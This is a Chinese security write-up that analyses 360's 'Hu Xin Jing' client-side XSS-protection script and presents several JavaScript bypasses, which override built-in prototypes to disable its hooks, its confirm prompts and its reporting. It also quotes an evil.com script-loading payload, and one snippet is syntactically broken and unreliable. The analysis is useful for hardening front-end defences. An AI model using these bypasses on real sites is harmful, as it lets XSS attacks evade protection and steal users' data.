360護心鏡指令碼分析及N種繞過方式
0x00 初識“護心鏡”
官方介紹:
透過Hook XSS的常用函式,並監控DOM元素的建立,從而對整個頁面的js行為進行監控。當發現頁面中存在XSS攻擊行為時,可根據預置的選項,進行放行,提醒使用者選擇,阻攔三種處理方式,同時預警中心會收到一次事件的告警,安全人員可根據告警進行應急響應處理。
在研究如何繞過一個系統之前,不急於直接讀程式碼,先旁敲側擊看看這個系統大體都做了什麼。
官方介紹中,在指令碼載入前,需要執行一堆配置程式碼:
#!html
<script type="text/javascript">
var hxj_config = {
project_key: "*****(平臺分配)",
domain_white: ["0kee.360.cn"],
enable_plugin: {
cookie: 1,
xsstester: 1,
password: 1,
fish: 1,
webshell: 1,
script: 1
}
};
</script>
<script type="text/javascript" src="http://res.0kee.com/hxj.min.js"></script>
“project_key
” 不用說就是一個標識站點的key,“domain_white
”和名字一樣:白名單,
而“enable_plugin
”表示了各個模組的開關。
透過http://res.0kee.com/hxj.min.js下載指令碼,發現經過uglify-js的混淆壓縮,將程式碼進行美化後對程式碼進行分析。
由於程式碼經過混淆,直接開看想必會有困難,在看程式碼之前,本想根據配置裡的6大模組逐個分析,結果幸運的是,這個指令碼並沒有對自定屬性名進行混淆,呈現如下:
#!js
...
}, s.Hook_CreateElement = function...
}, s.Hook_Image = function...
}, s.Hook_Source = function...
...
根據屬性名+配置檔案的模組,可以看出護心鏡主要實現了以下幾個功能:
1. 對 XSS 經常用到的函式進行 HOOK,將傳遞進來的變數進行分析,是否有危險
2. 對頁面中 JS 執行的程式碼進行“行為標記”
3. 載入外部資源時對域名進行白名單校驗
4. 對危險行為產生報告向護心鏡後臺傳送
5. 觸發 XSS 或者載入外部 JS 時提示使用者,是否進行攔截
舉個例子:當一個 XSSer 對某後臺進行盲打時,嵌入了一串程式碼:
#!html
<script src=//evil.com/evil.js></script>
當管理員登入後臺時候觸發了這串程式碼,由於載入了“evil.com”這個未知域名的 js 指令碼,護心鏡彈出危險警告,在使用者確認後對指令碼進行阻攔。
從之後的程式碼分析中瞭解,HOOK 函式實現了以下功能:
模組 | 功能 |
---|---|
Hook_CreateElement | 對 CreateElement 方法進行 Hook |
Hook_Image | 對Image物件產生的例項進行 Setter 和 Getter 的 Hook |
Hook_Source | 對頁面 DOM 進行監控,對新生成的標籤進行來源檢測 |
Hook_Attribute | 對元素的 setAttribute 方法進行 Hook |
Hook_Element | 對元素的 Setter 和 Getter 進行 Hook |
Hook_Cookie | 對 Cookie 的讀寫介面進行了 Hook |
Hook_Xsstester | 對常見的 alert、prompt 方法等進行 Hook |
Hook_CSRFWebshell | 對透過 CSRF 上傳 Webshell 進行攔截 |
Send | 對護心鏡介面傳送報告 |
0x02 快速尋找通殺之法
掃一遍程式碼,發現每個模組都有相應的弱點,但在那之前,
每個人都想知道快速通殺所有模組的方法,那麼如何快速找到通殺方法?
最好的方式是看看他們有什麼共通點:
(由於只有4個模組涉及攔截,那麼就看看他們是怎麼實現的)
+ Hook_CreateElement
1. 重寫document.createElement
2. 重寫createElement建立元素的setter和getter
3. 對Setter進行tag(標籤)匹配,然後透過Check_domain進行白名單匹配
4. 透過confirm通知,確定是否攔截
+ Hook_Image
1. 重寫Image
2. 重寫new Image 物件的getter和setter
3. Check_domain白名單匹配
4. 透過confirm通知,確定是否攔截
5. 若不攔截:透過this.setAttribute實現 Setter 的賦值
+ Hook_Source
1. 透過 MutationObserver 對 DOM 進行監聽
2. 一旦 DOM 發生變化,對新增 Nodes(節點)進行校驗
3. 透過tag匹配和Check_domain白名單匹配
4. 透過confirm通知,確定是否攔截
5. 若攔截則刪除該節點,否則放行
+ Hook_CSRFWebshell
1. 重寫 XMLHttpRequest.prototype.send
2. 正則匹配白名單
3. 透過confirm通知,確定是否攔截
第一眼能看到的共同點就是最後一步:透過confirm彈出通知框,讓使用者選擇是否攔截。
假若直接重寫confirm,使其永遠都彈不出這個框,攔截自然也不會生效了!我們來試試:
#!js
Window.prototype.confirm = function () {return !1}
...遺憾的是,並沒有成功改寫,看來護心鏡還是做過一些防繞過的。
這不經讓人想到 defineProperty 這個方法。
果然,在指令碼最後看到了這樣一個方法s.defConstProp(window, "confirm", confirm)
看看 defConstProp 定義:
s.defConstProp = s.isWebkit ?
function(e, t, n) {
Object.defineProperty(e, t, {
value: n,
configurable: !1,
writable: !1,
enumerable: !0
})
} : function(e, t, n) {
e[t] = n
};
透過 Object.defineProperty
將 confirm
進行了 writeable = false
的設定,這樣一來便無法重寫 confirm
了。
由於指令碼中僅僅是對 window
的變數 confirm
進行重寫,按理我們可以透過修改原型鏈上的 Window.prototype.confirm
,繼而刪除 window.confirm
,
也可以達到同樣的效果,但注意到 configurable 這個引數也是 false,也無法執行delete confirm
了。
既然如此,只好另闢蹊徑了。
我們來看看他們的第二個共同點:都經過一層字串合法校驗。
在 Hook_CreateElement
、Hook_Image
、Hook_Source
這三個模組中,都使用了 Check_domain
這個函式來檢驗 url 是否在白名單內
來看看 Check_domain 的定義:
#!js
s.Check_domain = function(e) {
var t, n = !1;
e = e.replace(/\s/g, ""), e = e.toLowerCase();
if (e == s.white_tag || e.indexOf("://") == -1 || e.indexOf("chrome-extension://") == 0) return n = !0, n;
for (var r = 0; r < s.domain_white.length; r++) {
if (s.domain_white[r] == "" || s.domain_white[r].match(/[\!\@\#\$\%\^\&\?\>\<\|\{\}\[\]\(\)]/i)) continue;
t = new RegExp("^http(|s)://([0-9a-zA-Z\\.]*\\.|)" + s.domain_white[r].replace(/\./g, "\\.").replace(/\-/g, "\\-") + "(/|\\?|:\\d{0,5})", "i");
if (t.test(e)) {
n = !0;
break
}
}
return n
}
可以看到使用了 RegExp 的 test 方法進行了正則匹配,再看看 Hook_CSRFWebshell 這個模組:
#!js
s.prototype.Hook_CSRFWebshell = function(e) {
if (!XMLHttpRequest) return;
var t = ["CSRF_WEBSHELL", "CSRF_WEBSHELL:"];
s.CSRFWEBSHELL_alert_level = e, XMLHttpRequest.prototype.send = function(e) {
for (i in s.webshell_black) {
var n = new RegExp(s.webshell_black[i], "i");
if (n.test(unescape(e))) {
s.Report_w(t[0]), s.Report_w(t[1]), s.Report(e.match(n)[0]);
if (s.CSRFWEBSHELL_alert_level == 0) {
s._ajaxsend.call(this, e);
return
}
if (s.CSRFWEBSHELL_alert_level == 1 && !confirm("護心鏡檢測到網頁正在向伺服器上傳危險檔案(webshell),是否攔截?")) {
s._ajaxsend.call(this, e);
return
}
}
}
s._ajaxsend.call(this, e)
}
}
首先重寫了XMLHttpRequest原型物件的send方法,接著還是使用 RegExp.test 進行正則匹配。
如此,只要重寫 RegExp 的 test 方法,使其永遠返回 false,那麼這些攔截程式碼就會全部失效了:
#!js
RegExp.prototype.test = function(){return !1}
這就是第一種繞過方式,僅一行程式碼,就讓“【永別了,XSS攻擊!】”的護心鏡徹底失效了,看來想要根治 XSS 還任重道遠。
當然瞭如果自己想要使用 test 方法的話,事先應該將該方法儲存一下。
如果在繞過護心鏡的同時,又不想破壞網站業務程式碼(畢竟 RegExp 經常被用到),那麼可以擴充一下:
#!js
_test = RegExp.prototype.test;
RegExp.prototype.test = function (n) {
n.slice(0, 4) === 'evil' && return _test.call(this, n);
return !1;
}
}
這樣可以實現自定義規則對內容是否放行。
同樣,在 Hook_CreateElement
、Hook_Image
、Hook_Source
這三個模組中,在進行白名單校驗前,
會對 tag (html標籤名:script、iframe等)進行匹配,若匹配不成功,則不會進入報警攔截流程,
程式碼如下(以Hook_Source為例):
#!js
if (o.src || o.href || o.data)
if (o.tagName
&& (o.tagName.toLowerCase() == "frame"
|| o.tagName.toLowerCase() == "iframe"
|| o.tagName.toLowerCase() == "link"
|| o.tagName.toLowerCase() == "object"
|| o.tagName.toLowerCase() == "embed"
|| o.tagName.toLowerCase() == "img"
|| o.tagName.toLowerCase() == "source"
|| o.tagName.toLowerCase() == "video")) {
//進入攔截流程...
}
和劫持 RegExp
的做法相似,透過對 toLowerCase
方法的劫持,使其永遠匹配不上正確的標籤名,能達到同樣的效果:
#!js
String.prototype.toLowerCase = function () {
return 'never';
}
此為第二種繞法。
除了這四個攔截模組之外,還有 Hook_Cookie 等其他幾個模組,這幾個模組主要作用是記錄最近的操作狀態, 用於攔截模組對攻擊進行分類,舉個例子:
1. 當檢測到有 Cookie 讀取操作,最近狀態列表中新增“讀cookie操作”
2. 當 Image().src 向外部傳送資料時,如果最近狀態有“讀cookie操作”,歸類為偷取cookie行為
逐個擊破小模組
除去以上的通殺方法,接下來看看如何用其他方法將這一個個模組逐個擊破
1. 突破Hook_Element
:其人之道還治其身
#!js
s.Hook_Element = function(e, t, n, r, i) {
var o = ["FISH", "GET_PWD"];
Object.defineProperty(e, t, {
get: function() {
return s.log("Get Attr"), (n == "R" || n == "RW" || n == "WR") && r(i), this.getAttribute(t)
},
set: function(e) {
return s.log("Set Attr"), (n == "W" || n == "RW" || n == "WR") && r(i, e), this.setAttribute(t, e)
}
})
}
可以看到該函式可以重寫元素的 set 和 get,並將行為記錄,最後透過 get/setAttibute
的方法來實現,那麼順著指令碼作者的方法,
透過 get/setAttibute
方法可直接繞過此類 Hook,這樣的 Hook 在 Image_Hook
裡也出現過。
2. 突破Hook_Cookie
:更高效的讀寫Cookie
#!js
s.prototype.Hook_Cookie = function(e) {
var t = ["GET_COOKIE", "SET_COOKIE"];
s.Cookie_alert_level = e, Object.defineProperty(document, "cookie", {
get: function() {
s.Report(t[0]);
var e = document.createElement("iframe");
e.src = s.white_tag, document.documentElement.appendChild(e), e.contentDocument.write("null");
var n = e.contentDocument.cookie;
return document.documentElement.removeChild(e), n
},
set: function(e) {
s.Report(t[1]);
var n = document.createElement("iframe");
return n.src = s.white_tag, document.documentElement.appendChild(n), n.contentDocument.write("null"), n.contentDocument.cookie = e, document.documentElement.removeChild(n), e
}
})
}
從程式碼中可以看出,使用了從 iframe 中讀寫 Cookie 來實現 鉤子函式中的 cookie 操作,和第一個鉤子的繞過方式相同,
直接利用作者的方法,使用 iframe 操作 cookie 就可以繞過鉤子函式了(事實上,經常可以護心鏡自己的程式碼邏輯繞過自身)。
當然了,這麼寫及其影響頁面效能,使用了護心鏡後,每一次有關 cookie 的操作都要在頁面中建立 iframe、刪除 iframe,不斷如此。
其實可以透過如下方法直接獲取 cookie 的讀寫介面:
#!js
Document.prototype.__lookupGetter__('cookie');
Document.prototype.__lookupSetter__('cookie');
3. 突破Hook_Attribute
:原始介面招之即來
#!js
s.prototype.Hook_Attribute = function() {
var e = ["setAttrib", "getAttrib", "FISH", "GET_PWD", "IMG.SRC:"];
window.Element.prototype.setAttribute = function(t, n) {
if (!isNaN(n) || n == s.white_tag || n.indexOf(s.report_uri) == 0 || n.indexOf(s.report_times_uri) == 0) {
s._setAttribute.call(this, t, n);
return
}
s.Report_w(e[0]), s.log("setAttrib"), s.log(n);
if (this.tagName && t == "type" && this.tagName.toLowerCase() == "input") s.log("modify type"), s.Report_w(e[3]);
else if (this.tagName && t == "src") {
if (this.tagName.toLowerCase() == "img")
s.log("SET SRC:" + n),
n.indexOf("?") > 0 && !s.Check_domain(n) && n.split("?")[1].length > s.cookie_maxlen && s.Report(n);
}
else if (this.tagName.toLowerCase() == "frame" || this.tagName.toLowerCase() == "iframe") s.log("Frame src:" + n), s.Report_w("M_IFRAME_SRC");
s._setAttribute.call(this, t, n)
}, window.Element.prototype.getAttribute = function(t) {
return s.log("getAttrib"), s.Hookpwd_tag && this.tagName && t == "value" && this.tagName.toLowerCase() == "input" && (s.log("getattr pwd"), s.Report_w(e[3])), s._getAttribute.call(this, t)
}
將setAttibute方法重寫了,可以看到程式碼中不斷出現toLowerCase
和Check_domain
(你懂得),當然我們可以把原始介面再一次拿出來,
覆蓋當前被 Hook 的 setAttribute 和 getAttibute。
#!js
Function.prototype.call = function () {
if (this.name === 'setAttribute')
HTMLElement.prototype.setAttribute = this;//還原了原始介面setAttribute
else if (this.name === 'getAttribute')
HTMLElement.prototype.getAttribute = this;//還原了原始介面getAttribute
}
這樣就能獲得純天然無公害的 setAttribute
和 getAttribute
了 :)
4. 突破Hook_Xsstester
:媽媽再也不用擔心我到處 alert 了
#!js
s.prototype.Hook_Xsstester = function() {
function t(e) {
if (typeof e == "object") return !0;
var t = new RegExp("(^(\\d)*$|^xss$|[[\\w\\_\\-\\|\\.\\%]*=[\\w\\_\\-\\|\\.\\%]*\\;]*|" + location.href + "|" + document.domain + "|" + document.cookie + ")", "i");
return t.test(e)
}
var e = "XSS_TEST:";
alert = function(n) {
return t(n) && (s.log("XSS Test:alert"), s.Report_w(e), s.Report(escape(n))), s._alert.call(this, n)
}, confirm = function(n) {
return n.indexOf("護心鏡") > -1 ? s._confirm.call(this, n) : (t(n) && (s.log("XSS Test:confirm"), s.Report_w(e), s.Report(escape(n))), s._confirm.call(this, n))
}, prompt = function(n) {
return t(n) && (s.log("XSS Test:prompt"), s.Report_w(e), s.Report(escape(n))), s._prompt.call(this, n)
}
}
Xsstester 就是用於記錄 Xsser 常用的 alert、prompt 等測試方法的,原理同樣是重寫了這兩個函式。
但是護心鏡這裡出現了兩個重大失誤,沒有考慮到以下兩個常見情況:
alert(/xss/)
,Xsser 常用正則進行測試alert('test')
,Xsser 用自定字串進行測試
至於繞過,其實繞過 Xsstester 很簡單,由於重寫了 window.alert 等函式,透過原型鏈上的 alert 可以輕易獲取和還原原始方法。
#!js
Window.prototype.alert;
5. 突破Send
: 阻止傳送一切報告
#!js
s.Send = function(e) {
var t = e,
n = "xHxOxOxKx";
t = s.report_uri + "?f=" + escape(t), t = t + "&id=" + s.user_token, t = t + "&callback=" + s.callback_name;
if (document.body) {
document.getElementById(n) && document.getElementById(n).parentElement.removeChild(document.getElementById(n));
var r = document.createElement("script");
r.src = t, r.id = n, document.body.appendChild(r)
} else window.onload = new function() {
document.getElementById(n) && document.documentElement.removeChild(document.getElementById(n));
var e = document.createElement("script");
e.src = t, e.id = n, document.documentElement.appendChild(e)
}
}
程式碼中使用建立 script 來傳送報告,那麼重寫 appendChild 就可以阻擋傳送報告了:
#!js
HTMLElement.prototype.appendChild = function (){return !1}
當然,實際使用最好不要這麼簡單粗暴(容易誤傷正常程式碼),稍微潤色一下無傷大雅。
0x03 總結
- 針對護心鏡的防護,在引入攻擊程式碼前,加一小句程式碼即可繞過。
- 即便如此,護心鏡還是很有價值的,畢竟不是每一個攻擊者都是有心人。
- 目前的指令碼還待改善,文中提出的幾點再提一次:
- 效能最佳化,比如:cookie讀寫。
- 從原型鏈上開始 Hook。
- 使用其他方式實現原生方法 == 不需要繞過,比如:用 setAttribute 實現 set、用 iframe 實現 cookie 操作。
- 安全攻防的戰場不知何時已經從後端轉向了前端,但不變的是:安全防護技術總是在不斷嘗試和繞過中提升。
相關文章
- sqlmap常用繞過指令碼2020-10-20SQL指令碼
- 分析及防護:Win10執行流保護繞過問題2020-08-19Win10
- 關於SSRF和多種繞過方式2022-02-10
- 使用sqlmap中tamper指令碼繞過waf2020-08-19SQL指令碼
- 利用白名單繞過360例項2020-08-19
- Kernel Stack棧溢位攻擊及保護繞過2024-09-23
- Webscan360的防禦與繞過2020-08-19Web
- 檔案上傳之WAF繞過及相安全防護2021-08-12
- 細數驗證碼的N種生成方式2023-03-30
- Java執行groovy指令碼的兩種方式2021-04-21Java指令碼
- AMSI 淺析及繞過2021-10-27
- appium ios java 指令碼如何用指令執行,例如 adb 那種方式執行指令碼2020-08-19APPiOSJava指令碼
- vue通訊的N種方式2019-07-10Vue
- 要想用活Redis,Lua指令碼是繞不過去的坎2021-02-08Redis指令碼
- HTML中嵌入SVG圖片的N種方式,及設定大小2018-10-30HTMLSVG
- Linux shell:執行shell指令碼的幾種方式2019-04-08Linux指令碼
- oracle刪除超過N天資料指令碼的方法2022-03-01Oracle指令碼
- Java 中拼接 String 的 N 種方式2022-02-21Java
- CSS 顏色混合的N種方式2023-03-06CSS
- Linux中執行Shell指令碼的方式(三種方法)2018-04-02Linux指令碼
- shell指令碼的三種執行方式和區別2024-12-06指令碼
- 二十七:XSS跨站之程式碼及httponly繞過2021-01-23HTTP
- powershell程式碼混淆繞過2020-06-21
- 中轉Webshell繞過流量檢測防護2024-03-08Webshell
- struts2繞過waf讀寫檔案及另類方式執行命令2022-04-18
- 部署Go語言程式的N種方式2020-09-20Go
- 幾種通用防注入程式繞過方法2020-08-19
- 使用python指令碼傳遞引數:(三種方式可收藏)2022-12-05Python指令碼
- js繞過-前端加密繞過2021-08-12JS前端加密
- CDN相關知識及CDN繞過2021-07-17
- HTML中嵌入SVG圖片的N種方式2020-04-05HTMLSVG
- 最新webqq密碼的加密方式分析過程2020-08-19Web密碼加密
- 教你一種繞過谷歌禁止反射的方法2019-04-08谷歌反射
- 4、幾種通用防注入程式繞過方法2018-05-18
- 五種繞過Linux命令別名的方法2018-03-13Linux
- Bash從GoogleDrive下載大檔案時繞過病毒驗證頁面的指令碼2024-12-11Go指令碼
- 網路攝像頭登入繞過及多個RCE漏洞及資料分析報告2018-07-31
- 關於重複發包的防護與繞過2020-08-19